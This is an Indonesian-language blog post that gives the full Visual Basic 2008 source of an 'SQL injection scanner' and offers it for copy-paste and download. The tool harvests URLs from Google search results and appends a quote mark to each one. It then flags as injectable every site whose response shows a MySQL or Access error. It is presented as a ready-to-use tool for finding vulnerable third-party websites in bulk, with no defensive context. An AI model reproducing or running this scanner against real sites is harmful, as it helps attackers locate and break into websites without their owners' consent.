Aang PHP SQL Injection Scanner Versi 1.0.0.0 vb 2008

Aang PHP SQL Injection scanner ini dibuat memakai vb 2008, jika pengin tau source codenya silahkan

dicopy paste saja:

Imports System.Net
Imports System.IO
Imports System.Threading
Imports System.Text
Imports Google.API.Search
Public Class form1

    Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Control.CheckForIllegalCrossThreadCalls = False
    End Sub
    Public Function send(ByVal web As String)
        Try
            Dim ambil As HttpWebRequest = WebRequest.Create(web + "'")
            ambil.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.42)"
            Dim olah As HttpWebResponse = ambil.GetResponse()
            Dim hasil As IO.Stream = olah.GetResponseStream
            Dim lihat As IO.StreamReader = New StreamReader(hasil)
            Return lihat.ReadToEnd

        Catch ex As Exception
        End Try
    End Function

    Private Sub proses()
        For Each items In ListBox2.Items
            Dim user As String = send(items)
            Try
                If (user.Contains(" check the manual that corresponds")) Then
                    ListBox1.Items.Add(items + "'")
                Else

                End If
            Catch ex As Exception

            End Try
        Next
    End Sub

    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim tr As Thread
        tr = New Thread(AddressOf proses)
        tr.Start()
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try
            Dim cari As New GwebSearchClient("")
            Dim hasil As IList(Of IWebResult) = cari.Search(TextBox1.Text, ComboBox1.Text, Nothing, Nothing, Nothing, Nothing, Nothing)
            ListBox2.Items.Clear()
            For Each hasils As IWebResult In hasil
                ListBox2.Items.Add(hasils.Url)
            Next
        Catch ex As Exception
            Form2.Show()
        End Try

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Form2.Show()
    End Sub
    Private Sub pros()
        For Each items In TextBox2.Text
            Dim user As String = send(items)
            Try
                If (user.Contains(" check the manual that corresponds")) Or (user.Contains(" string in query expression")) Then
                    ListBox1.Items.Add(items + "'")
                Else

                End If
            Catch ex As Exception

            End Try
        Next
    End Sub
    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        Dim tr As Thread
        tr = New Thread(AddressOf pros)
        tr.Start()
    End Sub
   

    Private Sub ListBox2_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListBox2.DoubleClick
        TextBox2.Text = ListBox2.SelectedItem
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        op.ShowDialog()
        ListBox2.Items.AddRange(IO.File.ReadAllLines(op.FileName))
    End Sub

    Private Sub ListBox1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListBox1.DoubleClick
        Process.Start(ListBox1.SelectedItem)
    End Sub

    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        ListBox1.Items.Clear()
        ListBox2.Items.Clear()

    End Sub
End Class

yang dibutuhkan adalah :
2 textbox, 5 button 2 listbox, dan harus memakai google api search.

download aplikasinya Disini